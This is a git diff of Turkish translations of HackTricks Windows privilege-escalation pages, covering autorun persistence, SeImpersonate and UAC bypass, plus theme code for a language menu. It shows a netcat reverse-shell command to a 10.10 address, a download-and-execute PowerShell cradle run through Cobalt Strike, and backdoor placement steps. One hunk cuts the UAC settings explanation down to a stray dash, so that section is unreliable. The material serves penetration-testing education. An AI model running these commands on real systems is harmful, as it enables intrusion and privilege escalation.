| fl ``` -## Zamanlanmış Görevler +## Planlanmış Görevler -**Görevler**, **belirli bir sıklıkla** çalışacak şekilde zamanlanabilir. Hangi ikili dosyaların çalışacak şekilde zamanlandığını görmek için: +**Görevler**, **belirli bir sıklıkla** çalışacak şekilde planlanabilir. Hangi ikili dosyaların çalışacak şekilde planlandığını görmek için: ```bash schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab" schtasks /query /fo LIST 2>nul | findstr TaskName @@ -148,7 +148,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru **Başlangıç** klasörüne yerleştirilen kısayollar, kullanıcı oturumu açıldığında veya sistem yeniden başlatıldığında hizmetlerin veya uygulamaların otomatik olarak başlatılmasını tetikler. **Başlangıç** klasörünün konumu, hem **Yerel Makine** hem de **Geçerli Kullanıcı** kapsamları için kayıt defterinde tanımlanmıştır. Bu, belirtilen **Başlangıç** konumlarına eklenen her kısayolun, bağlantılı hizmetin veya programın oturum açma veya yeniden başlatma sürecinin ardından başlatılmasını sağlayacağı anlamına gelir; bu da programların otomatik olarak çalıştırılmasını planlamak için basit bir yöntemdir. > [!NOTE] -> Eğer **HKLM** altında herhangi bir \[User] Shell Folder'ı üzerine yazabiliyorsanız, bunu kontrol ettiğiniz bir klasöre yönlendirebilir ve bir arka kapı yerleştirerek, bir kullanıcı sisteme giriş yaptığında bu arka kapının çalıştırılmasını sağlayarak ayrıcalıkları artırabilirsiniz. +> Eğer **HKLM** altında herhangi bir \[User] Shell Folder'ı geçersiz kılabiliyorsanız, bunu kontrol ettiğiniz bir klasöre yönlendirebilir ve bir arka kapı yerleştirerek, bir kullanıcı sisteme giriş yaptığında bu arka kapının çalıştırılmasını sağlayarak ayrıcalıkları artırabilirsiniz. ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup" reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup" @@ -164,7 +164,7 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` -Genellikle, **Userinit** anahtarı **userinit.exe** olarak ayarlanmıştır. Ancak, bu anahtar değiştirilirse, belirtilen çalıştırılabilir dosya kullanıcı oturumu açıldığında **Winlogon** tarafından da başlatılacaktır. Benzer şekilde, **Shell** anahtarı Windows'un varsayılan kabuğu olan **explorer.exe**'ye işaret etmek için tasarlanmıştır. +Genellikle, **Userinit** anahtarı **userinit.exe** olarak ayarlanmıştır. Ancak, bu anahtar değiştirilirse, belirtilen çalıştırılabilir dosya kullanıcı oturumu açıldığında **Winlogon** tarafından da başlatılacaktır. Benzer şekilde, **Shell** anahtarı Windows'un varsayılan shell'i olan **explorer.exe**'ye işaret etmek için tasarlanmıştır. ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" @@ -172,7 +172,7 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVers Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell" ``` > [!NOTE] -> Eğer kayıt defteri değerini veya ikili dosyayı yazabilirseniz, ayrıcalıkları artırabileceksiniz. +> Eğer kayıt defteri değerini veya ikili dosyayı yazabilirseniz, yetkileri artırabileceksiniz. ### Politika Ayarları @@ -194,7 +194,7 @@ Windows Kayıt Defteri'nde `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot` alt "Komut İstemcisi ile Güvenli Mod"da otomatik başlatma için bir önyükleme seçeneği oluşturma adımları: -1. `boot.ini` dosyasının özelliklerini yalnızca okunur, sistem ve gizli bayraklarını kaldıracak şekilde değiştirin: `attrib c:\boot.ini -r -s -h` +1. `boot.ini` dosyasının özelliklerini yalnızca okunur, sistem ve gizli bayrakları kaldıracak şekilde değiştirin: `attrib c:\boot.ini -r -s -h` 2. `boot.ini` dosyasını düzenlemek için açın. 3. Aşağıdaki gibi bir satır ekleyin: `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)` 4. `boot.ini` dosyasındaki değişiklikleri kaydedin. @@ -243,9 +243,9 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components ### Tarayıcı Yardımcı Nesneleri (BHO'lar) Genel Bakış -Tarayıcı Yardımcı Nesneleri (BHO'lar), Microsoft'un Internet Explorer'ına ekstra özellikler ekleyen DLL modülleridir. Her başlatmada Internet Explorer ve Windows Gezgini'ne yüklenirler. Ancak, **NoExplorer** anahtarını 1 olarak ayarlayarak çalışmaları engellenebilir, bu da onların Windows Gezgini örnekleriyle yüklenmesini önler. +Tarayıcı Yardımcı Nesneleri (BHO'lar), Microsoft'un Internet Explorer'ına ek özellikler ekleyen DLL modülleridir. Her başlatmada Internet Explorer ve Windows Gezgini'ne yüklenirler. Ancak, **NoExplorer** anahtarını 1 olarak ayarlayarak yürütmeleri engellenebilir, bu da Windows Gezgini örnekleriyle yüklenmelerini önler. -BHO'lar, Windows 10 ile Internet Explorer 11 aracılığıyla uyumludur ancak daha yeni Windows sürümlerinde varsayılan tarayıcı olan Microsoft Edge'de desteklenmez. +BHO'lar, Windows 10 ile Internet Explorer 11 aracılığıyla uyumludur, ancak daha yeni Windows sürümlerinde varsayılan tarayıcı olan Microsoft Edge'de desteklenmezler. Bir sistemde kayıtlı BHO'ları keşfetmek için aşağıdaki kayıt defteri anahtarlarını inceleyebilirsiniz: @@ -293,7 +293,7 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi ``` ## SysInternals -Not edin ki, autorunları bulabileceğiniz tüm siteler **zaten**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) tarafından **arama yapılmıştır**. Ancak, **otomatik olarak çalıştırılan** dosyaların **daha kapsamlı bir listesi** için Sysinternals'tan [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) kullanabilirsiniz: +Not edin ki, autorun'ları bulabileceğiniz tüm siteler **zaten**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) tarafından **arama yapılmıştır**. Ancak, **otomatik olarak çalıştırılan** dosyaların **daha kapsamlı bir listesi** için Sysinternals'tan [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) kullanabilirsiniz: ``` autorunsc.exe -m -nobanner -a * -ct /accepteula ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md index 3a99bafdd..f3f19673d 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md +++ b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md @@ -5,7 +5,7 @@ ### Kod Aşağıdaki kod [buradan](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962) alınmıştır. Bu, **bir İşlem Kimliğini argüman olarak belirtmenizi** sağlar ve belirtilen işlemin **kullanıcısı olarak çalışan bir CMD** çalıştırılacaktır.\ -Yüksek Bütünlükte bir işlemde çalışırken, **Sistem olarak çalışan bir işlemin PID'sini** (winlogon, wininit gibi) belirtebilir ve cmd.exe'yi sistem olarak çalıştırabilirsiniz. +Yüksek Bütünlükte bir işlemde çalışırken, **Sistem olarak çalışan bir işlemin PID'sini belirtebilir** (örneğin winlogon, wininit) ve cmd.exe'yi sistem olarak çalıştırabilirsiniz. ```cpp impersonateuser.exe 1234 ``` diff --git a/src/windows-hardening/windows-security-controls/uac-user-account-control.md b/src/windows-hardening/windows-security-controls/uac-user-account-control.md index 42b597229..23f0fe3e3 100644 --- a/src/windows-hardening/windows-security-controls/uac-user-account-control.md +++ b/src/windows-hardening/windows-security-controls/uac-user-account-control.md @@ -4,7 +4,7 @@ ## UAC -[Kullanıcı Hesabı Denetimi (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş aktiviteler için onay istemi** sağlayan bir özelliktir. Uygulamalar farklı `bütünlük` seviyelerine sahiptir ve **yüksek seviyeye** sahip bir program, **sistemi tehlikeye atabilecek** görevleri yerine getirebilir. UAC etkin olduğunda, uygulamalar ve görevler her zaman **bir yönetici hesabının güvenlik bağlamında çalışır**; yönetici, bu uygulamaların/görevlerin sisteme yönetici düzeyinde erişim izni vermediği sürece. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir, ancak bir güvenlik sınırı olarak kabul edilmez. +[Kullanıcı Hesabı Denetimi (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş aktiviteler için onay istemi** sağlayan bir özelliktir. Uygulamalar farklı `bütünlük` seviyelerine sahiptir ve **yüksek seviyeye** sahip bir program, **sistemi tehlikeye atabilecek** görevleri yerine getirebilir. UAC etkinleştirildiğinde, uygulamalar ve görevler her zaman **bir yönetici hesabının güvenlik bağlamında çalışır**; yönetici, bu uygulamaların/görevlerin sisteme yönetici düzeyinde erişim izni vermediği sürece. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir, ancak bir güvenlik sınırı olarak kabul edilmez. Bütünlük seviyeleri hakkında daha fazla bilgi için: @@ -23,17 +23,17 @@ Bu [sayfa](https://docs.microsoft.com/en-us/windows/security/identity-protection | [Kullanıcı Hesabı Denetimi: Yönetici Onay Modu'ndaki yöneticiler için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Windows dışı ikili dosyalar için onay istemi | | [Kullanıcı Hesabı Denetimi: Standart kullanıcılar için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Güvenli masaüstünde kimlik bilgileri istemi | | [Kullanıcı Hesabı Denetimi: Uygulama yüklemelerini tespit et ve yükseltme istemesi](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Etkin (ev için varsayılan) Devre Dışı (kurumsal için varsayılan) | -| [Kullanıcı Hesabı Denetimi: Sadece imzalı ve doğrulanmış yürütülebilir dosyaları yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Devre Dışı | -| [Kullanıcı Hesabı Denetimi: Sadece güvenli konumlarda kurulu UIAccess uygulamalarını yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Etkin | -| [Kullanıcı Hesabı Denetimi: Tüm yöneticileri Yönetici Onay Modu'nda çalıştır](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Etkin | -| [Kullanıcı Hesabı Denetimi: Yükseltme istemi sırasında güvenli masaüstüne geç](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Etkin | -| [Kullanıcı Hesabı Denetimi: Dosya ve kayıt defteri yazma hatalarını kullanıcıya özel konumlara sanallaştır](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Etkin | +| [Kullanıcı Hesabı Denetimi: Sadece imzalanmış ve doğrulanmış yürütülebilir dosyaları yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Devre Dışı | +| [Kullanıcı Hesabı Denetimi: Sadece güvenli konumlarda kurulu UIAccess uygulamalarını yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Etkin | +| [Kullanıcı Hesabı Denetimi: Tüm yöneticileri Yönetici Onay Modu'nda çalıştır](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Etkin | +| [Kullanıcı Hesabı Denetimi: Yükseltme istemi için güvenli masaüstüne geç](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Etkin | +| [Kullanıcı Hesabı Denetimi: Dosya ve kayıt defteri yazma hatalarını kullanıcıya özel konumlara sanallaştır](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Etkin | ### UAC Atlatma Teorisi Bazı programlar, **kullanıcı yönetici grubuna ait** ise **otomatik olarak yükseltilir**. Bu ikili dosyaların içinde _**Manifests**_ kısmında _**autoElevate**_ seçeneği _**True**_ değerine sahiptir. İkili dosya ayrıca **Microsoft tarafından imzalanmış** olmalıdır. -Sonra, **UAC'yi atlatmak** (bütünlük seviyesini **orta** seviyeden **yüksek** seviyeye yükseltmek) için bazı saldırganlar bu tür ikili dosyaları **rastgele kod çalıştırmak** için kullanır çünkü bu, **Yüksek seviye bütünlük sürecinden** çalıştırılacaktır. +Sonra, **UAC'yi atlatmak** (bütünlük seviyesini **orta** seviyeden **yüksek** seviyeye yükseltmek) için bazı saldırganlar bu tür ikili dosyaları **rastgele kod çalıştırmak** amacıyla kullanır çünkü bu, **Yüksek seviye bütünlük sürecinden** çalıştırılacaktır. Bir ikilinin _**Manifest**_ dosyasını _**sigcheck.exe**_ aracını kullanarak kontrol edebilirsiniz. Ve süreçlerin **bütünlük seviyesini** _Process Explorer_ veya _Process Monitor_ (Sysinternals) kullanarak görebilirsiniz. @@ -48,36 +48,14 @@ EnableLUA REG_DWORD 0x1 ``` Eğer **`1`** ise UAC **aktif**, eğer **`0`** ise veya **mevcut değilse**, UAC **pasif**. -Sonra, **hangi seviyenin** yapılandırıldığını kontrol edin: +Sonra, **hangi seviye** yapılandırıldığını kontrol edin: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` -- Eğer **`0`** ise, UAC istemi olmayacak (gibi **devre dışı**) -- Eğer **`1`** ise, yönetici **kullanıcı adı ve şifre** istenir yüksek haklarla ikili dosyayı çalıştırmak için (Güvenli Masaüstünde) -- Eğer **`2`** ise (**Her zaman beni bilgilendir**) UAC, yönetici yüksek ayrıcalıklarla bir şey çalıştırmaya çalıştığında her zaman onay isteyecektir (Güvenli Masaüstünde) -- Eğer **`3`** ise `1` gibi ama Güvenli Masaüstünde gerekli değil -- Eğer **`4`** ise `2` gibi ama Güvenli Masaüstünde gerekli değil -- Eğer **`5`** ise (**varsayılan**) yöneticiye yüksek ayrıcalıklarla Windows dışı ikili dosyaları çalıştırmak için onay isteyecektir - -Sonra, **`LocalAccountTokenFilterPolicy`** değerine bakmalısınız\ -Eğer değer **`0`** ise, yalnızca **RID 500** kullanıcısı (**yerleşik Yönetici**) **UAC olmadan yönetici görevlerini** yerine getirebilir ve eğer `1` ise, **"Yöneticiler"** grubundaki **tüm hesaplar** bunları yapabilir. - -Ve son olarak **`FilterAdministratorToken`** anahtarının değerine bakmalısınız\ -Eğer **`0`** (varsayılan), **yerleşik Yönetici hesabı** uzaktan yönetim görevlerini yapabilir ve eğer **`1`** ise yerleşik Yönetici hesabı uzaktan yönetim görevlerini **yapamaz**, `LocalAccountTokenFilterPolicy` `1` olarak ayarlanmadıkça. - -#### Özet - -- Eğer `EnableLUA=0` veya **yoksa**, **hiç kimse için UAC yok** -- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=1` , Hiç kimse için UAC yok** -- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=0`, RID 500 için UAC yok (Yerleşik Yönetici)** -- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=1`, Herkes için UAC var** - -Tüm bu bilgiler **metasploit** modülü kullanılarak toplanabilir: `post/windows/gather/win_privs` - -Kullanıcınızın gruplarını kontrol edebilir ve bütünlük seviyesini alabilirsiniz: +- ``` net user %username% whoami /groups | findstr Level @@ -85,15 +63,15 @@ whoami /groups | findstr Level ## UAC atlatma > [!NOTE] -> Kurbanın grafik erişimine sahipseniz, UAC atlatma oldukça basittir çünkü UAS istemi göründüğünde "Evet"e tıklamanız yeterlidir. +> Kurbanın grafik erişimi varsa, UAC atlatma basittir çünkü UAS istemi göründüğünde "Evet"e tıklayabilirsiniz. UAC atlatma, aşağıdaki durumda gereklidir: **UAC etkin, işleminiz orta bütünlük bağlamında çalışıyor ve kullanıcınız yöneticiler grubuna ait.** -UAC'nın **en yüksek güvenlik seviyesinde (Her Zaman) atlatılmasının, diğer seviyelerden (Varsayılan) çok daha zor olduğunu** belirtmek önemlidir. +UAC'nın **en yüksek güvenlik seviyesinde (Her Zaman) atlatmanın, diğer seviyelerden (Varsayılan) çok daha zor olduğunu** belirtmek önemlidir. ### UAC devre dışı -Eğer UAC zaten devre dışıysa (`ConsentPromptBehaviorAdmin` **`0`**) **yönetici ayrıcalıklarıyla bir ters kabuk çalıştırabilirsiniz** (yüksek bütünlük seviyesi) bir şey kullanarak: +Eğer UAC zaten devre dışıysa (`ConsentPromptBehaviorAdmin` **`0`**) **yönetici ayrıcalıklarıyla bir ters kabuk çalıştırabilirsiniz** (yüksek bütünlük seviyesi) gibi bir şey kullanarak: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" @@ -106,7 +84,7 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10 ### **Çok** Temel UAC "atlatma" (tam dosya sistemi erişimi) -Eğer Yönetici grubunda bir kullanıcı ile bir shell'e sahipseniz, **C$** paylaşımını SMB (dosya sistemi) üzerinden yeni bir diske yerel olarak **monte edebilir ve dosya sisteminin içindeki her şeye erişim sağlayabilirsiniz** (hatta Yönetici ana klasörüne). +Eğer Administrators grubunda bir kullanıcı ile bir shell'e sahipseniz, **C$** paylaşımını SMB (dosya sistemi) üzerinden yeni bir diske yerel olarak **monte edebilir ve dosya sisteminin içindeki her şeye erişim sağlayabilirsiniz** (hatta Administrator ana klasörüne). > [!WARNING] > **Bu numaranın artık çalışmadığı görünüyor** @@ -119,7 +97,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` ### UAC atlatma ile cobalt strike -Cobalt Strike teknikleri yalnızca UAC maksimum güvenlik seviyesinde ayarlanmamışsa çalışacaktır. +Cobalt Strike teknikleri, UAC maksimum güvenlik seviyesinde ayarlanmamışsa yalnızca çalışacaktır. ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -137,12 +115,12 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w Dokümantasyon ve araç [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) adresinde bulunmaktadır. -### UAC bypass istismarları +### UAC bypass exploitleri -[**UACME** ](https://github.com/hfiref0x/UACME), birkaç UAC bypass istismarının **derlemesi**dir. **UACME'yi visual studio veya msbuild kullanarak derlemeniz gerektiğini** unutmayın. Derleme, birkaç çalıştırılabilir dosya (örneğin `Source\Akagi\outout\x64\Debug\Akagi.exe`) oluşturacaktır, **hangi dosyaya ihtiyacınız olduğunu bilmeniz gerekecek.**\ -**Dikkatli olmalısınız** çünkü bazı bypass'lar **başka programları** **uyarabilir** ve **kullanıcıya** bir şeylerin olduğunu **bildirebilir**. +[**UACME**](https://github.com/hfiref0x/UACME), birkaç UAC bypass exploitinin **derlemesi**dir. **UACME'yi visual studio veya msbuild kullanarak derlemeniz gerektiğini** unutmayın. Derleme, birkaç çalıştırılabilir dosya (örneğin `Source\Akagi\outout\x64\Debug\Akagi.exe`) oluşturacaktır, **hangi dosyaya ihtiyacınız olduğunu bilmeniz gerekecek.**\ +**Dikkatli olmalısınız** çünkü bazı bypasslar, **kullanıcıya** bir şeylerin olduğunu **bildiren** bazı diğer programları **uyarabilir**. -UACME, her tekniğin çalışmaya başladığı **derleme sürümünü** içermektedir. Sürümlerinizi etkileyen bir tekniği arayabilirsiniz: +UACME, her tekniğin çalışmaya başladığı **derleme sürümünü** içerir. Sürümlerinizi etkileyen bir tekniği arayabilirsiniz: ``` PS C:\> [environment]::OSVersion.Version @@ -154,7 +132,7 @@ Ayrıca, [bu](https://en.wikipedia.org/wiki/Windows_10_version_history) sayfayı #### Daha Fazla UAC Bypass -**Burada** AUC'yi atlatmak için kullanılan **tüm** teknikler, kurbanla **tam etkileşimli bir shell** gerektirir (yaygın bir nc.exe shell yeterli değildir). +**Burada AUC'yi atlamak için kullanılan tüm teknikler, kurbanla **tam etkileşimli bir shell** gerektirir (yaygın bir nc.exe shell yeterli değildir).** Bir **meterpreter** oturumu kullanarak elde edebilirsiniz. **Session** değeri **1** olan bir **işleme** geçin: @@ -164,27 +142,27 @@ Bir **meterpreter** oturumu kullanarak elde edebilirsiniz. **Session** değeri * ### GUI ile UAC Bypass -Eğer bir **GUI'ye erişiminiz varsa, UAC istemini aldığınızda sadece kabul edebilirsiniz**, gerçekten bir bypass'a ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak UAC'yi atlatmanıza olanak tanır. +Eğer bir **GUI'ye erişiminiz varsa, UAC istemini aldığınızda sadece kabul edebilirsiniz**, gerçekten bir bypass'a ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak UAC'yi atlamanızı sağlar. -Ayrıca, birinin kullandığı (potansiyel olarak RDP üzerinden) bir GUI oturumu alırsanız, **yönetici olarak çalışan bazı araçlar** olacaktır; buradan örneğin **admin** olarak doğrudan bir **cmd** çalıştırabilirsiniz, böylece UAC tarafından tekrar istemde bulunulmaz, [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif) gibi. Bu biraz daha **gizli** olabilir. +Ayrıca, birinin (potansiyel olarak RDP aracılığıyla) kullandığı bir GUI oturumu alırsanız, **yönetici olarak çalışan bazı araçlar** olacaktır; buradan örneğin **admin** olarak doğrudan bir **cmd** çalıştırabilirsiniz, UAC tarafından tekrar istemde bulunulmadan [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Bu biraz daha **gizli** olabilir. ### Gürültülü brute-force UAC bypass -Eğer gürültülü olmaktan rahatsız değilseniz, her zaman **şunu çalıştırabilirsiniz**: [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) bu **kullanıcı kabul edene kadar izinleri yükseltmek için istek yapar**. +Eğer gürültü yapmaktan endişe etmiyorsanız, her zaman **şunu çalıştırabilirsiniz**: [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) bu **kullanıcı kabul edene kadar izinleri yükseltmek için istek yapar**. ### Kendi bypass'ınız - Temel UAC bypass metodolojisi -**UACME**'ye bir göz atarsanız, **çoğu UAC bypass'ının bir Dll Hijacking zafiyetini kötüye kullandığını** göreceksiniz (esas olarak kötü amaçlı dll'yi _C:\Windows\System32_ içine yazarak). [Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için bunu okuyun](../windows-local-privilege-escalation/dll-hijacking.md). +**UACME**'ye bir göz atarsanız, **çoğu UAC bypass'ının bir Dll Hijacking zafiyetini kötüye kullandığını** fark edeceksiniz (esas olarak kötü amaçlı dll'yi _C:\Windows\System32_ içine yazarak). [Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için bunu okuyun](../windows-local-privilege-escalation/dll-hijacking.md). 1. **Autoelevate** olacak bir ikili dosya bulun (çalıştırıldığında yüksek bütünlük seviyesinde çalıştığını kontrol edin). 2. Procmon ile **DLL Hijacking**'e karşı savunmasız olabilecek "**NAME NOT FOUND**" olaylarını bulun. -3. Muhtemelen bazı **korumalı yollar** (C:\Windows\System32 gibi) içinde yazma izinlerinizin olmadığı **DLL'yi** yazmanız gerekecek. Bunu aşmak için: - 1. **wusa.exe**: Windows 7, 8 ve 8.1. Korumalı yollar içinde bir CAB dosyasının içeriğini çıkarmaya olanak tanır (çünkü bu araç yüksek bütünlük seviyesinden çalıştırılır). +3. Muhtemelen bazı **korumalı yollar** (C:\Windows\System32 gibi) içinde DLL'yi **yazmanız** gerekecek; yazma izinlerinizin olmadığı yerler. Bunu aşmak için: + 1. **wusa.exe**: Windows 7, 8 ve 8.1. Korumalı yollara bir CAB dosyasının içeriğini çıkarmaya izin verir (çünkü bu araç yüksek bütünlük seviyesinden çalıştırılır). 2. **IFileOperation**: Windows 10. 4. Korumalı yola DLL'nizi kopyalamak ve savunmasız ve autoelevated ikili dosyayı çalıştırmak için bir **script** hazırlayın. ### Başka bir UAC bypass tekniği -Bir **autoElevated ikili dosyanın** **kayıttan** **okumaya** çalışıp çalışmadığını izlemeyi içerir; **çalıştırılacak** bir **ikili dosyanın** veya **komutun** **adı/yolu** (bu bilgi **HKCU** içinde aranıyorsa daha ilginçtir). +Bir **autoElevated ikili dosyanın** **kayıttan** **okumaya** çalışıp çalışmadığını izlemeyi içerir; **çalıştırılacak** bir **ikili dosyanın** veya **komutun** **adı/yolu** (bu, ikili dosya bu bilgiyi **HKCU** içinde arıyorsa daha ilginçtir). {{#include ../../banners/hacktricks-training.md}} diff --git a/theme/book.js b/theme/book.js index 1c8d77287..ccba50404 100644 --- a/theme/book.js +++ b/theme/book.js @@ -590,6 +590,61 @@ function playground_text(playground, hidden = true) { }); })(); + +(function menubarLanguage() { + var menubarLanguageToggleButton = document.getElementById('menubar-languages-toggle'); + var menubarLanguagePopup = document.getElementById('menubar-languages-popup'); + var languageButtons = menubarLanguagePopup.querySelectorAll('.menu-bar-link'); + + function showLanguage() { + menubarLanguagePopup.style.display = 'flex'; + menubarLanguageToggleButton.setAttribute('aria-expanded', true); + } + + function hideLanguage() { + menubarLanguagePopup.style.display = 'none'; + menubarLanguageToggleButton.setAttribute('aria-expanded', false); + menubarLanguageToggleButton.focus(); + } + + menubarLanguageToggleButton.addEventListener('click', function () { + if (menubarLanguagePopup.style.display === 'flex') { + hideLanguage(); + } else { + showLanguage(); + } + }); + + menubarLanguagePopup.addEventListener('focusout', function(e) { + // e.relatedTarget is null in Safari and Firefox on macOS (see workaround below) + if (!!e.relatedTarget && !menubarLanguageToggleButton.contains(e.relatedTarget) && !menubarLanguagePopup.contains(e.relatedTarget)) { + hideLanguage(); + } + }); + + // Should not be needed, but it works around an issue on macOS & iOS: https://github.com/rust-lang/mdBook/issues/628 + document.addEventListener('click', function(e) { + if (menubarLanguagePopup.style.display === 'block' && !menubarLanguageToggleButton.contains(e.target) && !menubarLanguagePopup.contains(e.target)) { + hideLanguage(); + } + }); + + languageButtons.forEach((btn) => { + btn.addEventListener('click', function(e) { + const regex = /(?:(?:\/)+(?[a-z]{2}(?=\/|$)))?(?(?:\/)*.*)?/g + var match = regex.exec(window.location.pathname) + + var path = match.groups.path + console.log(`Path: ${path} ${typeof path}`) + + const lang = match.groups.lang + console.log(`Lang: ${lang}`) + + window.location = `/${e.target.id}${path}${window.location.hash}` + }); + }) +})(); + (function chapterNavigation() { document.addEventListener('keydown', function (e) { if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey) { return; } diff --git a/theme/css/chrome.css b/theme/css/chrome.css index 8cbda7c69..ead7ee881 100644 --- a/theme/css/chrome.css +++ b/theme/css/chrome.css @@ -83,6 +83,13 @@ body.sidebar-visible #menu-bar { } } +.right-buttons .icons { + display: flex; + flex-direction: row; + flex-wrap: wrap; + column-gap: 0.5rem; +} + .icon-button { border: none; background: var(--bg); @@ -139,10 +146,13 @@ body.sidebar-visible #menu-bar { /* Collapse Menu Popup */ +#menubar-collapse-toggle { + position: relative; +} #menubar-collapse-popup { position: absolute; - right: 30px; - top: var(--menu-bar-height); + right: 0px; + top: 35px; z-index: 105; border-radius: 5px; font-size: 14px; @@ -172,6 +182,44 @@ body.sidebar-visible #menu-bar { background-color: var(--theme-hover); } +/* Languages Menu Popup */ +#menubar-languages-toggle { + position: relative; +} + +#menubar-languages-popup { + position: 